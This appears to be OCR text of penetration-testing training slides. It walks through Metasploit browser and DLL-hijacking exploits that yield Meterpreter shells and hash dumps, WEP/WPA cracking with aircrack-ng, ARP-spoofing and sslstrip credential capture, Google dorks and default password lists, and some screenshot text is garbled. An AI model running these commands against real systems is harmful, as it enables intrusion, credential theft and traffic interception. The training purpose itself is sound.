Arch : x86	
Language: en_US	
<u>meterpreter</u> > use priv	
[-] The 'priv' extension has already been loaded.	
meterpreter > hashdump	
Admin:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::	
Administrator:500;aad3b435b51404eeaad3b43b51404ee;31d05ce0016ae931b/3559d/e0c089c0:::	
ASPNE1:1000;10741C4/1C/S0T96C202//09D834/501:002/8323028/CC830T5030626940/80;::	
Guest:301:4a03D432D51404eead03D432D51404ee:3100C1e00106e931D/3C390/e0C089C0:::	
netpassistant:1000;e3f24704910491f22f162010000035C; C0000100449914C32021201/4400/92;;;	
INAL_111.1005.000500050005005000000000000000	



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Explanation:

sysinfo

Give further information about the remote system

use priv

Using a Meterpreter extension for escalating privilege commands

hashdump

Dumping user-credentials on the remote-system



Client-Side Intrusion – Video File

Hands-On:





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Client-Side Intrusion – Video File

Hands-On:

- Get Meterpreter Shell on Target System
- Play with Meterpreter Shell
 - help will give a list of available commands
- Record keystrokes
- Do a screenshot





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- Client-Side Intrusion
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- Internet Explorer CSS Recursive Import Use After Free
- Memory Corruption Vulnerability / Bypass of DEP and ASLR
- Affected:
 - Internet Explorer 6, 7, 8
 - Windows XP, Windows Vista, Windows 7
- "When A DoS Isn't A DoS"
 - <u>http://www.breakingpointsystems.com/community/blog/ie-vulnerability/</u>
- Published in December 2010 / Microsoft Released Patch in March 2011
- References:
 - <u>http://www.microsoft.com/technet/security/bulletin/MS11-003.mspx</u>
 - http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3971







- Different from the previous attacks
- No need to distribute a file to the victim
- Target needs to visit a Website
- Attacker creates website/webserver





• use exploit/windows/browser/ms11_003_ie_css_import





- Different options
 - SRVHOST (local IP address or public internet IP address)
 - SRVPORT (local Port to listen on preferred "80")
 - URIPATH (exact URI of the "website")





- Set payload (meterpreter) with options!
- Exploit



• Webserver was created and waiting for connection



• Target visits the website with Internet Explorer 8



• Session is created



- Automatic Process Migration
 - [*] Session ID 1 (192.168.1.103:4444 -> 192.168.1.111:1050) processing InitialAutoRunScript 'migrate -f'
 - [*] Current server process: iexplore.exe (2032)
 - [*] Spawning a notepad.exe host process...
 - [*] Migrating into process ID 2276
 - [*] New server process: notepad.exe (2276)
- This is necessary if Target closes the Internet Explorer our Session would be gone
- Migration into another process let our session be active until reboot



- List active sessions (including the exploit name)
 - sessions -l -v
- Interact with session
 - session -i 1

xai	tax@w00t: ~/tools/meta	sploit			008
File	Edit View Search Termi	nal Help			
<u>msf</u> e	xploit(ms11_003_ie_css_	<pre>import) > ses</pre>	sions -l -v		*
Activ	e sessions				
Id 1	Type meterpreter x86/win32	Information	Connection	Via exploit/windows/browser/ms11 003 ie css import	
<u>msf</u> e: [*] S	xploit(msll_003_ie_css_ tarting interaction wit	<mark>import</mark>) > ses h 1	sions -i 1		
<u>meter</u> Syster OS Compu Archi Meter <u>meter</u>	<u>preter</u> > sysinfo m Language : en_US : Windows XP ter : FFDEMO tecture : x86 preter : x86/win32 <u>preter</u> > ■	(Build 2600,	Service Pack 3).		



Hands-On:





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Hands-On:

- Replay the Internet Explorer Exploit
- Get Meterpreter Shell on Target System
- Play with Meterpreter Shell
 - help will give a list of available commands
- Download some files from the target
- Upload an *.exe file to the target
- Execute the file on the target





Table of Content



- Client-Side Intrusion
 - Overview
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 - DLL Hijacking



- Application DLL Hijacking
- Windows loads an additional DLL if an application is executed
- No real fix via Windows Update Workaround can be downloaded!
- Affected:
 - All Windows
- Published in late August 2010
- References:
 - <u>http://support.microsoft.com/kb/2264107</u>
 - <u>http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html</u>



• use exploit/windows/browser/webdav_dll_hijacker

+			xaitax@w00t: ~/tools/metasploit	- + ×
File Edit	View Terminal	Help		
msf > use exp	ploit/windows/brow	ser/webday	dll hijacker	
msf exploit(webdav_dll_hijacke	er) > info		
Name: Version: Platform: Privileged: License: Rank:	WebDAV Applicatio 10101 Windows No Metasploit Framew Manual	on DLL Hija work Licens	e (BSD)	
Provided by: hdm <hdm@ma jduck <jduc jcran <jcra Available tau Id Name</jcra </jduc </hdm@ma 	etasploit.com> ck@metasploit.com> an@metasploit.com> rgets:			
0 Automat	tic			
Basic options	s:			
Name	Current Setting	Required	Description	
BASENAME EXTENSIONS SHARENAME SRVHOST SRVPORT URIPATH	policy txt documents 0.0.0 80 /	yes yes yes yes yes yes	The base name for the listed files. The list of extensions to generate The name of the top-level share. The local host to listen on. The daemon port to listen on (do not chang The URI to use (do not change).	⊧}
Payload info Space: 2048	rmation: 8			
Description: This module code execut option must	e presents a direc tion when opened f t be configured to	tory of fi from the sh specify a	le extensions that can lead to are. The default EXTENSIONS vulnerable application type.	
References: http://blog http://www.	g.zoller.lu/2010/0 .acrossecurity.com	08/cve-2016 1/aspr/ASPR	-xn-loadlibrarygetprocaddress.html -2010-08-18-1-PUB.txt	
msf exploit(webdav dll hijacke	r) >		
				Ă



• Different options

- EXTENSION (extensions for generation into destination folder e.g. ppt)
- SRVHOST (IP the server is started on)
- LHOST (IP to listen on for reverse connection)

7			xaitax@w00t: ~/tools/metasploit	- + ×
File Edit	View Terminal	Help		
msf exploit(w	ebdav_dll_hijack	er) > show	options	
Module option	15:			
Name	Current Settin	Required	Description	
BASENAME	policy	yes	The base name for the listed files.	
EXTENSIONS	txt	yes	The list of extensions to generate	
SNAKENAME	documents 0.0.0.0	yes	The local bost to listen on	
SRVPORT	80	ves	The daemon port to listen on (do not change)	
URIPATH		yes	The URI to use (do not change).	
Payload optio	ons (windows/mete	rpreter/rev	verse_tcp):	
Name	Current Setting	Required	Description	
EXITFUNC	process	yes	Exit technique: seh, thread, process	
LH05T	1111	yes	The Listen port	
LFURI		yes	the cisten port	
Exploit targe	et:			
Id Name				
0 Automa	tic			
msf exploit(w	ebdav_dll_hijack	er) > set E	EXTENSION txt ppt	
<pre>EXTENSION => msf exploit(w</pre>	ebdav_dll_hijack	er) > set S	RVH0ST 192.168.1.100	
SRVHOST => 19	2.168.1.100	it is not i	HOET 102 169 1 100	
LHOST \Rightarrow 192.	168.1.100	st / > set t	1031-152.100.1.100	
msf exploit(w	ebdav_dll_hijack	er) >		
				(



• Exploit



• Web server was created and waiting for connection



- 1. Targets visits URL
- 2. Network share automatically opens
- 3. Target opens file within the share!





- "Malicious" DLL is loaded and executed
- Shell is established







- 1. <u>Overview</u>
- 2. <u>Footprinting</u>
- 3. <u>Server Intrusion</u>
- 4. <u>Client-Side Intrusion</u>
- 5. Wireless Intrusion
- 6. <u>Wired Intrusion</u>
- 7. <u>Web Application</u>
- 8. Miscellaneous Attacks



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- Wireless Intrusion
 - Wireless Basics
 - Breaking WEP
 - Breaking WPA
 - Credential Sniffing



Wireless Intrusion – Wireless Basics

- IEEE Standard 802.11
- Frequency: 2.4 GHz
- 802.11a
 - Up to 54 Mbps
 - Good Speed / less range
- 802.11b
 - Up to 11 Mbps
 - Less Speed / good range
- 802.11g
 - Up to 54 Mbps
 - Good speed / good range



Wireless Intrusion – Wireless Basics

- IEEE Standard 802.11
- 802.11n
 - 150-300 Mbps
- 802.11n
 - 2.4 GHz Less fast / better range
 - 5 GHz Much faster / less range



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Frequencies

- 2.4 GHz
 - Pro: Widely spread
 - Con: Sharing of different devices (Microwaves, Bluetooth, ...)
- 5 GHz
 - Pro: less used frequency, longer range
 - Con: Viewer devices -> more cost intensive

Channels

- 2.4 GHz Usually 1 13 (frequency varies a bit in each channel)
- 5 GHz Maximum of 43 but depending on the region (Europe, America, Asia, etc.)

http://en.wikipedia.org/wiki/List_of_WLAN_channels



Encryptions – WEP

- WEP = Wired Equivalent Privacy
- IEEE 802.11
- Based on a secret Key
- The key is used to initialize an RC4 stream
- Packets payload is encrypted
- Different security flaws



Encryptions – WPA

- WPA = Wi-Fi Protected Access
- WEP replacement due to the security flaws
- Still RC4 but longer initialization vector
- Introduction of TKIP protocol changes key every few minutes
- TKIP (Temporal Key Integrity Protocol encryption) encrypts the wireless signal
- Authentication against the network itself not only a particular access point



Encryptions – WPA2

- IEEE 802.11i
- Dedicated hardware chip to handle the encryption
- New AES-based encryption mode with strong security
- WPA2-Personal (WPA2-PSK)
 - Uses a pre-shared key
- WPA2-Enterprise (WPA2-RADIUS)
 - Authenticates users against a centralized authentication service



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Frame Types

- Control frames
 - Controlling the radio transmission, retransmission etc
- Management frames
 - Handling all the "managing tasks"
 - Important packets:
 - Association Request, Association Response, Re-association Request, Re-association Response, Probe Request, Probe Response, Beacon, Disassociation, Authentication, De-authentication
- Data frames
 - Transporting the data of the radio network



Important Facts

- Control frames & Management frames are unencrypted:
 - 802.11 defines no protection mechanism against injection, replay, etc.
- Open authentication is more secure than shared authentication
 - Attacker sees plain-text challenge and encrypted response
 - Known plain-text/cipher-text allows to recover keystream (PRGA)
- Cloaked/Hidden Networks with SSID disabled transfer it's SSID in other management frames like probe requests, etc.
 - De-authenticating a client will help revealing the wireless SSID
- A radio network is always vulnerable to denial of service attacks on the radio layer


Table of Content



- Wireless Intrusion
 - Wireless Basics
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- Finding Wireless Networks
- kismet can be used!
 - Wireless Network Detector
 - Wireless Packet Sniffer
- All network information provided
 - SSID (Network Name)
 - BSSID (MAC of Router)
 - Encryption
 - Signal Strength
 - Connected Clients
 - Number of Packets







- Start kismet
- Choose available WEP encrypted network(s)
- What we need to note down:
 - Channel
 - BSSID
 - (E)SSID
 - Own MAC
 - Possible connected Clients (press "c" in kismet)





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- Attacking Wireless Networks
- aircrack-ng suite can be used
 - Can crack WEP & WPA keys
 - Packet injector
 - Packet Sniffer

- Wireless card into monitor mode to sniff packets
 - airmon-ng start <INTERFACE> <CHANNEL>
- Logging the traffic
 - airodump-ng -c <CHANNEL> --bssid <BSSID> -w outputfile <INTERFACE>
- We need around 20,000 to 30,000 packets



- Not many or no packets might occur in the "Data" field
- We need to increase traffic
- We can inject own traffic with different techniques
 - ARP Replay
 - Fragmentation Attack
 - Chop Chop
 - Etc.



- Using ARPreplay attack
 - ARP Replay Attack
 - Requires active clients
 - Listen for a Client packet
 - Use this packet to flood the AP
 - Success depends on the selected packet
 - No way to tell which is the "magic" packet
 - aireplay-ng --interactive -b <BSSID> -h <MY MAC> <INTERFACE>



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- Sometimes aireplay-ng does not capture usable packets because the clients are not generating any traffic
- It's easy to enforce client communication by sending de-authentication frames
- Deauthentication attack
 - To discover the SSID of a network that does not broadcast it
 - To capture handshake packets for WPA or WPA2
 - To generate ARP-requests
- aireplay-ng --deauth=5 -a <BSSID> -c <CLIENT_MAC> <INTERFACE>



- Fragmentation attack
 - Does not require clients
 - Needs to be close to Access-Point
- Fake Authentication:
 - aireplay-ng --fakeauth=0 -e <ESSID> -a <BSSID> -h <MY MAC> <INTERFACE>
- Waiting for packet for injection:
 - aireplay-ng --fragment -F -b <BSSID> -h <MY MAC> <INTERFACE>
- Compile packet:
 - packetforge-ng --arp -a <BSSID> -h <MY_MAC> -k 255.255.255.255.1
 255.255.255.255 -y fragment-* -w /tmp/aircrack-arp-request
- Inject Packets:
 - aireplay-ng --interactive -F -r /tmp/aircrack-arp-request <INTERFACE>

- Data packages should increase quite fast (~500/sec)
- Using aircrack-ng to crack the key

aircrack-ng -z /tmp/aircrack-cap-*.cap

				Aircr	ack-ng 1.0				
			[00:00:02]	Tested 134	8511 keys (got 119102	IVs)		
В	depth	byte(vote)							
0	0/ 1	AC(175104)	DA(135424)	53(131328)	4A(130816)	4C(130816)	7A(130816)	AE(130816)	
1	0/ 1	DB(158976)	E1(135168)	08(134144)	F8(132352)	A7(130816)	A3(130560)	47(129024)	
2	0/ 1	95(155392)	76(136192)	3C(133120)	8E(133120)	D5(130304)	EC(130304)	7B(129536)	
3	0/ 1	77(162816)	11(135424)	9E(134144)	C7(131584)	C1(131072)	35(130560)	49(130560)	
4	0/ 1	6D(158208)	4E(135168)	FE(133632)	07(132608)	99(131328)	E3(131328)	OB(131072)	
5	0/ 1	D1(141312)	4A(134912)	D7(134912)	49(132864)	1F(132352)	B4(131584)	63(130304)	
6	0/ 1	14(149504)	4C(143104)	40(134144)	4A(130560)	1C(130048)	D0(128768)	CE(128512)	
7	0/ 1	40(148480)	24(139008)	2B(135168)	8D(133376)	26(133120)	59(131584)	CB(131072)	
8	0/ 2	92(137728)	BF(132864)	B5(132608)	A8(131072)	41(130304)	1D(130048)	1E(130048)	
9	1/ 2	B5(136192)	6F(134400)	35(134144)	80(131584)	47(130816)	DA(130560)	25(130304)	
0	39/ 10	E5(124416)	52(124160)	53(124160)	FE(124160)	32(123904)	BB(123904)	04(123648)	
1	0/ 1	23(143872)	CO(135680)	10(133888)	D9(133632)	87(131840)	82(131584)	62(131328)	
2	0/ 1	C6(144384)	E2(132608)	C6(131840)	1B(131328)	8C(130048)	FE(130048)	46(129792)	



- Bringing the network up with the key
- To verify that the correct key has been recovered, abort aireplay-ng and airodump-ng

- Reset Wireless Card:
 - airmon-ng stop wlan0
- Configure Network:
 - iwconfig wlan0 essid <ESSID> enc <WEPKEY>
- Activate Card:
 - ifconfig wlan0 up



- Graphical alternative in Backtrack: WICD
- WICD is a wireless network manager for Linux



Use global DNS servers
Il networks sharing this essid







- Break the WEP encryption by the trainers given access point
- Connect to the access points network
- Which attack worked?
- Is a MAC filter active?



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- Start kismet
- Choose available WPA encrypted network(s)
- What we need to note down:
 - Channel
 - BSSID
 - (E)SSID
 - Own MAC
 - Connected Clients (press "c" in kismet)





- Wireless card into monitor mode to sniff packets
 - airmon-ng start <INTERFACE> <CHANNEL>
- Logging the traffic
 - airodump-ng -c <CHANNEL> --bssid <BSSID> -w outputfile <INTERFACE>
- Wait for WPA Handshake (Can be enforced using deauthentication attack)
 - aireplay-ng --deauth=5 -a <BSSID> -c <CLIENT_MAC> <INTERFACE>
- Using aircrack-ng to brute-force the key
 - aircrack-ng -w <WORDLIST> /tmp/aircrack-cap-*.cap



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- Break the WPA encryption by the trainers given access point
- Connect to the access points network
- Which attack worked?



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Wireless Intrusion – Credential Sniffing

• Kismet gives us the possibility of getting all credentials in plain-text

• As

- We are already in the Wireless Network
- The Wireless Network is open
- Kismet stores its logs in
 - /var/log/kismet/*.dump
- First locking into the Channel of the target Wireless with Kismet
- See the menu how to lock a channel and view all sniffed packages

Wireless Intrusion – Credential Sniffing

• Kismet "Data Strings Dump"





Wireless Intrusion – Credential Sniffing

• We can use a combination of kismet & Wireshark as an Analyzer



- Wireshark (formerly known as Ethereal)
- Most famous Sniffer in the world
- Freeware
- http://www.wireshark.org/



• Loading the *.dump into Wireshark

	⊻ X 😂 📇 🗛 🗁 🗣 🛧 🛧 🖢 🔲 🕒 🍳 🄍
Filter: tcp.stream eq 4	Expression Clear Apply
No Time	Source Destination Protocol Info
1194 51.265099	2002:5ec8:fa18:0:3ae7 2001:610:1908:a000::1 TCP 35957 > ftp
1203 51.453403	2001:610:1908:a000::1 2002:5ec8:fa18:0:3ae7 TCP ftp > 35957
1207 51.454723	2002:5ec8:fa18:0:3ae7 2001:610:1908:a000::1 TCP 35957 > ftp
1214 51.645709	2001:610:1908:a000::1 2002:5ec8:fa18:0:3ae7 FTP Response: 220
1219 51.647970	2002:5ec8:ta18:0:3ae7 2001:610:1908:a000::1 TCP 35957 > ftp
1223 51.649833	2
1230 51.830488	2 Stream Content
1234 51.03/0/4	220 ftp.debian.org FTP server
1235 51.657055	2 FEAT
1237 51 837161	2 EPRT
1241 51.839352	2 EPSV
1249 52.026441	2 MDTM
1253 52.034549	PASV
1000 50 000000	REST STREAM
Frame 1253 (122 bytes on wi	re, 12 SIZE
IEEE 802.11 QoS Data, Flags	TVFS
Logical-Link Control	211 End
Internet Protocol Version 6	USER anonymous
Transmission Control Protoc	ol, Sr 331 Please specify the password.
File Transfer Protocol (FTP)	PASS passtest
▼ USER anonymous\r\n	230 Login successful.
Request command: USER	OPTS UTF8 ON
Request arg: anonymous	200 Always in UTP8 mode.
0000 88 01 2c 00 00 25 9c 48	07 38 TIPE I
0010 00 25 9c 48 07 36 70 5c	00 00 200 Switching to Binary mode.
0020 86 dd 60 00 00 00 00 30	57 -1 200 NOOP ok.
	02 26 PWD
0050 29 c2 b3 28 26 82 80 18	0b 40 257 "/"
0060 08 0a 00 03 59 1f 0a 9e	fb a7 SYST
0070 6e 6f 6e 79 6d 6f 75 73	Od Oa 215 UNIX Type: L8
	EPSV
	229 Entering Extended Passive Mode (26009)
	150 Here comes the directory listing
	226 Directory send OK.
	and the first second





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- Wired Intrusion
 - Man-in-the-Middle
 - Credential Sniffing
 - SSL Breakdown



Wired Intrusion – Man-in-the-Middle

- Credential Sniffing with Man-in-the-Middle attack
- What is a Man-in-the-Middle attack?
 - Active attack where the attacker attempts to intercept, read or alter information moving between two computers
 - ARP cache is modified
 - Diverting original traffic



Wired Intrusion – Man-in-the-Middle

• What is a Man-in-the-Middle attack?





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Wired Intrusion – Man-in-the-Middle

• Target ARP table before Man-in-the-middle

C:\WINDOWS\system32\c	md.exe		
C:\Documents and Sett	ings\Admin>arp -a		
Interface: 192.168.1. Internet Address 192.168.1.1	123 0x2 Physical Address 00-25-9c-48-07-36	Type dynamic	
C:\Documents and Sett	ings\Admin>_		

• Router MAC: 192.168.1.1 -> 00:25:9C:48:07:36



- Command line
 - arpspoof
- Tools including credential sniffing
 - Dsniff
 - Not developed anymore since 2000
 - Cain & Abel
 - Windows Application
 - <u>http://www.oxid.it/cain.html</u>
 - Ettercap
 - Linux Application
 - Console & GUI
 - http://ettercap.sourceforge.net/



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Wired Intrusion – Credential Sniffing

• Ettercap-NG



- Multi Platform
 - Linux, *BSD, MacOS, Windows
- Plugin management
- No update since 2005



Updating Backtrack 5

- # aptitude update
- # aptitude safe-upgrade

First prepare Ettercap for Man-in-the-Middle

• Change privileges for SSL (65534 to 0) in /etc/etter.conf (remove the # in front)

[privs]

ec_uid = 0 # nobody is the default

ec_gid = 0 # nobody is the default

• Uncommenting two lines in /etc/etter.conf (remove the # in front)

if you use iptables:

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir command off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"



Wired Intrusion – Credential Sniffing

• Ettercap GUI




- Switching to Sniffing Mode
 - "Sniff" -> "Unified Sniffing" -> Choosing the Interface (e.g. wlan0 in a wireless environment)

K	ettercan NG-0,73	* * *
<u>S</u> tart	Targets Hosts ⊻iew Mitm Eilters Logging Plugins Help	
	ETERCAR	
Listenir eth0 - SSL dis Privileg	ng on eth0 (Ethernet) > 00:0C:29:1C:A0:49 192.168.1.110 255.255.255.0 essection needs a valid 'redir_command_on' script in the etter.conf file tes dropped to UID 65534 GID 65534	
28 plu 39 pro 53 po 7587 m 1698 to 2183 ki	ugins atocol dissectors rts monitored nac vendor fingerprint cp OS fingerprint nown services	*



- Looking for active hosts in the network
 - "Hosts" -> "Scan for hosts" -> e.g. "5 hosts added to the hosts list..."





- Viewing the discovered hosts
 - "Hosts" -> "Hosts list"

	ettercap NG-0,7,3	× - 'K
<u>Start Targets Hosts View Mite</u>	m <u>F</u> ilters <u>L</u> ogging <u>P</u> lugins <u>H</u> elp	
Host List 🕱		
IP Address MAC Address	Description	
192.168.1.1 00:25:9C:48:07:36		
192.168.1.100 F8:1E:DF:DA:E5:BF		
192.168.1.101 A8:6A:6F:29:D1:BC		
192.168.1.102 E4:7C:F9:03:35:E4		
192.168.1.103 00:24:D7:69:6E:88)	
Delete Host	Add to Target 1	Add to Target 2

- 192.168.1.1 -> Router / Gateway
- 192.168.1.103 -> Target!



- Starting the Man-in-the-Middle
 - "Mitm" -> "ARP Poisoning"s



• Credential Sniffing is now active



- Looking at the Target
 - **Before:** Router MAC: 192.168.1.1 -> 00:25:9C:48:07:36



- After: Router MAC: 192.168.1.1 -> 00:21:6A:7F:68:04
- The same MAC address as the attackers' redirection works!



• Target now logs into www.youtube.com

, start Targets H	losts	ettercap NG-0.7.3 - View Mitm Filters Logging Plugins Help	- + ×
lost List 😓 Plugin	15 🖾		
Name	Versio	n Info	
pptp_chapms1	1.0	PPTP: Forces chapms-v1 from chapms-v2	
pptp_clear	1.0	PPTP: Tries to force cleartext tunnel	
pptp_pap	1.0	PPTP: Forces PAP authentication	
pptp_reneg	1.0	PPTP: Forces tunnel re-negotiation	
rand_flood	1.0	Flood the LAN with random MAC addresses	
remote_browser	1.2	Sends visited URLs to the browser	
reply_arp	1.0	Simple arp responder	
repoison_arp	1.0	Repoison after broadcast ARP	
scan_poisoner	1.0	Actively search other poisoners	
search_promisc	1.2	Search promisc NICs in the LAN	
smb_clear	1.0	Tries to force SMB cleartext auth	
smb_down	1.0	Tries to force SMB to not use NTLM2 key auth	. 6
stp_mangler	1.0	Become root of a switches spanning tree	-
ROUP 1 : 192.168.1	.1 00:2	25:9C:48:07:36	
ROUP 2 : 192.168.1	.123 0	0:0C:29:8C:56:6A	
tivating chk_poisor	n plugi	n	
k_poison: Checking k poison: Poisonin	g poiso la proc	ess succesful!	
tivating capaican	pro plu	ain the second se	
TP: 173.194.36.10	04:443	-> USER: blub_PASS: asfsadf_INFO: http://www.google.com/accounts/ServiceLogin?	

- Username: blub
- Password: asfsadf



Hands-On:





Hands-On:

- Setup Ettercap
- Start Man-in-the-middle
- Target PC logs in to various Websites
- Does it work? What works?
- Which limitations?





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- Wired Intrusion
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Wired Intrusion – SSL Breakdown

- Problem with Man-in-the-Middle SSL traffic
- How to avoid SSL Certificate warnings?
- Using sslstrip
 - Developed in 2009
 - Watches for HTTPS links
 - Redirects HTTPS links to HTTP
 - <u>http://www.thoughtcrime.org/software/sslstrip/</u>



Problem with Man-in-the-Middle on SSL is the Certificate warning

• Firefox 3.6





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Problem with Man-in-the-Middle on SSL is the Certificate warning

• Internet Explorer 8





First prepare applications for Man-in-the-Middle

• Prepare SSLStrip

ln -s /pentest/web/sslstrip/sslstrip.py sslstrip

• Linux Kernel IP forwarding

echo 1 > /proc/sys/net/ipv4/ip_forward

• Setup iptables to intercept HTTP requests for sslstrip

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000



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Using <code>arpspoof</code> for packet redirection

• Command

arpspoof -i <interface> -t <target IP> <gateway IP>

• Example in Wireless network

arpspoof -i wlan0 -t 192.168.1.106 192.168.1.1



Start sslstrip for stripping HTTPS

• Command

sslstrip -p -f -k -w /root/Desktop/sslstrip.log

- Log only SSL POST (instead of having all HTTP traffic)
 - -p
- Emulate the SSL favicon
 - -f
- Kill active SSL session of the target to force relogin
 - -k
- Write all traffic to sslstrip.log
 - -w <filename>



- No HTTPS anymore
- SSL Favicon





• Checking the logfile sslstrip.log

SECURE POST Data (www.google.com):

ltmpl=default<mplcache=2&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3
F&service=mail&rm=false&dsh=-

3086128579327401111<mpl=default<mpl=default&scc=1&timeStmp=&secTok=&GALX =APDKuj6HaBM&Email=**ffdemo@gmail.com**&Passwd=**mYpasSw0rd**&rmShown=1&signIn=Sign+ in&asts=



Wired Intrusion – SSL Breakdown

Hands-On:





- Setup arp-spoofing for your target PC
- Start sslstrip
- Break SSL down

- Does it work?
- Passwords in the logfile?





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 - SQL Injection



- Due to the development of the world wide web, lots of new techniques have been developed & discovered to attack CGI applications and clients
- Webservers and CGI applications have to be reachable
- Webservers are often the easiest entry point
- Thanks to PHP there are new vulnerabilities discovered every day

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Web Application – Google Hacking

- http://www.google.com/advanced_search
- http://www.google.com/intl/en/help/cheatsheet.html
 - Iink: Results that link to that website
 - cache: Search the cache
 - site: Limit to this site only (website or domain)?
 - inurl:, allinurl: Search hit has to be in URL
 - intitle:, allintitle: Search hit has to be in title
 - filetype: Searches all files of this type

•

Web Application – Google Hacking

• Good examples in The Google Hacking Database:

http://www.exploit-db.com/google-dorks/

- Public WebCams e.g.
 - intitle:"Live View / AXIS"
- Front Page User Logins See the login files for front page users
 - inurl:_vti_pvt "service.pwd"
- Network Printers View the status and even print off of printers remotely
 - intext:centreware inurl:status
- Administrator Access View and alter websites through phpMyAdmin
 - intitle:phpMyAdmin "Welcome to phpMyAdmin *" "running on* as root@*"



- Used to deny indexing of specific parts of a website by automated robots like Google
 Bot
- Location: <URL>/robots.txt, e.g.:

http://www.finfisher.com/robots.txt

• Commonly used – thanks to aggressive indexing by modern search engines



• Example:

User-agent: *

Disallow: /www-preview/

Disallow: /admin/

Disallow: /common/

WEBBUILD Administration

Login			
Benutze	rname:	_	
Passwo	rt:		

Download Handbuch WCM 2.1 (1.2 MB)

Web Application – Robots.txt

Example:

User-agent: *

Disallow: /attachements/

[....]

Disallow: /studiomail/

[...]

Disallow: /studiomail/

[...]

Disallow: /studiomail/rontend.cfm

[...]

۰



Web Application – Robots.txt

• Example:

User-agent: *

Disallow: /admin/

Disallow: /admin/Security/

[...]

		and a structure structs			SilverStrip
curity Groups	Members Permissions	IP Addresses import Roles			
Allow drag & drop reordering	Administrators				
Security Groups	Administratore				
Administrators	Search	Filter			
Forum Members			Displaying 1 to 3 of 3 ->		
I making List: New newsletter type	First Name	Last Name	Email	Password	
	Admin	Admin	admin		R
	Peter	Waynes	peter		R
	John	Woo	john		R
					Add



Web Application – Robots.txt

Hands-On:





Hands-On:

- Visit some known (target) Websites
 - Example: <u>https://www.microsoft.com/robots.txt</u>
- Check for robots.txt on the domain
 - Interesting data?
 - Any admin / mail interfaces?





Web Application – Default Passwords

- Many devices, router & printer use default configuration
- Therefore default username & password combinations are often used
- Different lists exist for this (e.g. <u>http://www.phenoelit-us.org/dpl/dpl.html</u>)

		Ι	Defau	lt Pas	sword Li	st	
			L	ast updated:	10.22.2010		
Vendor	Model	Version	Access Type	Username	Password	Privileges	Notes
3COM	CoreBuilder	7000/6000/3500/2500	Telnet	debug	synnet		
3COM	CoreBuilder	7000/6000/3500/2500	Telnet	tech	tech		
3COM	HIPerARC		Telnet	adm	(none)		
3COM	LANplex	2500	Telnet	debug	synnet		
3COM	LANplex	2500	Telnet	tech	lech		
3COM	LinkSwitch	2000/2700	Telnet	tech	tech		
Huawel	E960			admin	admin	Admin	
3COM	NetBuilder		SNMP		ILMI	snmp-read	
3COM	Netbuilder		Mull	admin	(none)	Admin	
3COM	Office Connect ISDN Routers	5x0	Telnet		PASSWORD	Admin	
3COM	SuperStack II Switch	2200	Telnet	debug	synnet		
3COM	SuperStack If Switch	2700	Telnet	tech	tech		
SCOM	OfficeConnect 812 ADSL		Multi	adminttd	adminttd	Admin	
3COM	Wireless AP	ANY	Multi	admin	comcomcom	Ádmin	Works on all 3com wireless APs
3COM	CellPlex	7000	Telnet	tech	lech -	User	
3COM	cellplex	7000	Telnet	admin	admin	Admin	
3COM	cellplex	7000		operator	(none)	Admin	
3COM	HiPerARC	v4.1.x	Telnet	adm	(none)	Admin	
SCOM	3Com SuperStack 3 Switch 3300XM			security	security	Admin	
3COM	superstack II	1100/3300		3comeso	RIP000	initialize	resets all pws to defaults
3COM	LANplex	2500	Telnet	tech	(none)	Ádmin	
3COM	CellPlex		HTTP	admin	synnet	Admin	
3COM	NetBuilder			(none)	admin	User	SNMP_READ
3COM	SuperStack II Switch	2700	Telnet	tech	tech	Admin	
3COM	CellPlex	7000	Telnet	root	(none)	Ádmin	
3COM	HIPerACT	v4.1.x	Telnet	admin	(none)	Admin	
3COM	CellPlex	7000	Telnet	tech	(none)	Admin	
3COM	CellPlex	7000	Telnet	admin	admin	Admin	
3com	CellPlex	7000	Telnet	tech	tech	Admin	
3com	super		Telnet	admin	(none)	Admin	
3com	cellplex	7000	Mult	admin	admin	Ádmin	RS-232/feinet
3COM	SuperStack 3	4XXX	Multi	admin	(none)	Admin	
3COM	SuperStack 3	4XXX	Multi	monitor	monitor	User	
						User can access/change	
3COM	SuperStack 3	4400-49XX	Multi	manager	manager	operational setting	



Web Application – Social Network Security

- Many Social Networks are prone to vulnerabilities
- <u>http://socialnetworksecurity.org/en/index.php</u>



id social network	registered members S	SL support s	ecurity email alias	open issues	total issues
01 facebook.com	600,000,000	partial	yes	1	1
02 vk.com	135,000,000	no	no	1	1
03 bebo.com	130,000,000	no	no	1	1
04 badoo.com	110,000,000	yes	no	1	1
05 geni.com	100,000,000	no	no	1	1
06 friendster.com	90,000,000	no	no	1	1
07 netlog.com	74,000,000	no	no	2	3
08 classmates.com	50,000,000	yes	no	1	1
09 sonico.com	50,000,000	yes	no	1	1
10 viadeo.com	35,000,000	no	no	1	1
11 meetic.com	30,000,000	no	no	1	1
12 digg.com	30,000,000	no	no	1	1
13 friendsreunited.co.u	k 21,000,000	no	no	1	1
14 stayfriends.de	16,000,000	no	no	1	11
15 stumbleupon.com	14,000,000	no	no	1	1
16 hyves.nl	11,000,000	no	yes	0	2
17 friendscout24.de	11,000,000	yes	yes	0	2
18 lokalisten.de	10,000,000	partial	yes	0	1
19 schueler.cc	10,000,000	no	yes	0	5
20 parship.de	10,000,000	partial	yes	0	6
21 tuenti.com	10,000,000	no	yes	0	1
22 wer-kennt-wen.de	9,000,000	partial	yes	0	1
23 xing.com	8,000,000	yes	yes	0	1
24 couchsurfing.org	5,000,000	yes	no	0	2
25 websingles.at	3,000,000	no	no	2	2
26 Jappy.de	2,000,000	partial	yes	1	6
27 kwick.de	1,000,000	no	no	0	9
28 wiealt.de	1,000,000	no	no	1	4
29 4crazy.de	1,000,000	no	no	0	2



Web Application – Hidden Directories

- Some very common hidden directories:
 - /admin
 - /phpMyAdmin
 - /mail
 - /webmail
 - /email
 - /webalizer
 - /stats
 - /login



Web Application – Hidden Directories

- Some open source application are good in directory findings
- Nikto2
 - Very established but old web security scanner
 - <u>http://cirt.net/nikto2</u>
- Skipfish
 - Very new web security scanner of Google
 - Extremely fast
 - Self learning dictionary wordlist
